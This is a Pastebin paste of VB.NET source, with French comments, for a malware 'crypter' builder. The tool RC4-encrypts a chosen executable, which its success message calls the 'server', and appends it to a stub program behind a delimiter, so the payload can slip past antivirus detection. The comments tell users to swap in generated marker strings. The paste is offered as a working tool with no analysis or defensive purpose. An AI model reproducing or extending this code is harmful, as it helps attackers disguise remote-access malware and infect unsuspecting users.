Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 'Tu peut modif tout les le mot qui son aprés les Dim en utilisent le generateur de string fourni :)
- Imports System.Text
- Public Class main
- Const dCrypt = "STRING ICI"
- Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
- Dim ofd As New OpenFileDialog
- ofd.Title = "Ouvrir."
- ofd.Filter = "Executable|(*.exe)|*.exe"
- If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then
- TextBox1.Text = ofd.FileName
- Else : Exit Sub
- End If
- End Sub
- Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
- Try
- Dim var1, var2, stub As String
- Dim sfd As New SaveFileDialog
- sfd.Title = "Enregistre."
- sfd.Filter = "Executable|(*.exe)|*.exe"
- If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then
- var2 = sfd.FileName
- Else : Exit Sub
- End If
- FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
- var1 = Space(LOF(1))
- FileGet(1, var1)
- FileClose(1)
- FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
- stub = Space(LOF(1))
- FileGet(1, stub)
- FileClose(1)
- FileOpen(1, var2, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
- FilePut(1, stub & dCrypt & rc4(var1, "UN 2EME STRING"))
- FileClose(1)
- MsgBox("Serveur crypter.", MsgBoxStyle.Information+vbokonly,"Succes")
- Catch ex As Exception
- MsgBox("erreur esseil une nouvelle fois.", MsgBoxStyle.Critical + vbokonly,"Erreur")
- End Try
- End Sub
- Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
- Dim i As Integer = 0
- Dim j As Integer = 0
- Dim cipher As New StringBuilder
- Dim returnCipher As String = String.Empty
- Dim sbox As Integer() = New Integer(256) {}
- Dim key As Integer() = New Integer(256) {}
- Dim intLength As Integer = password.Length
- Dim a As Integer = 0
- While a <= 255
- Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
- key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
- sbox(a) = a
- System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
- End While
- Dim x As Integer = 0
- Dim b As Integer = 0
- While b <= 255
- x = (x + sbox(b) + key(b)) Mod 256
- Dim tempSwap As Integer = sbox(b)
- sbox(b) = sbox(x)
- sbox(x) = tempSwap
- System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
- End While
- a = 1
- While a <= message.Length
- Dim itmp As Integer = 0
- i = (i + 1) Mod 256
- j = (j + sbox(i)) Mod 256
- itmp = sbox(i)
- sbox(i) = sbox(j)
- sbox(j) = itmp
- Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
- Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
- itmp = Asc(ctmp)
- Dim cipherby As Integer = itmp Xor k
- cipher.Append(Chr(cipherby))
- System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
- End While
- returnCipher = cipher.ToString
- cipher.Length = 0
- Return returnCipher
- End Function
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement